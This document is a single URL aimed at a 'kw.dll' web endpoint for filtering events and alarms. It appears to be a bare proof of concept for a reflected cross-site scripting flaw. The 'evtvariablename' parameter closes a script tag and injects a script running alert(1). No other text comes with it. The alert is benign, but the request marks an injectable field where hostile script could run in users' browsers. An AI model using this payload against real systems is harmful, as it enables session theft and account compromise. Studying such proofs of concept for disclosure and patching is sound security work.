http://<server>/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename="</script><script>alert(1)</script>"&evtdevicename=&evtnature=&evttype=&gtduration=&ltduration=&gtdurationvalue=&gtdurationwide=1&ltdurationvalue=&ltdurationwide=1
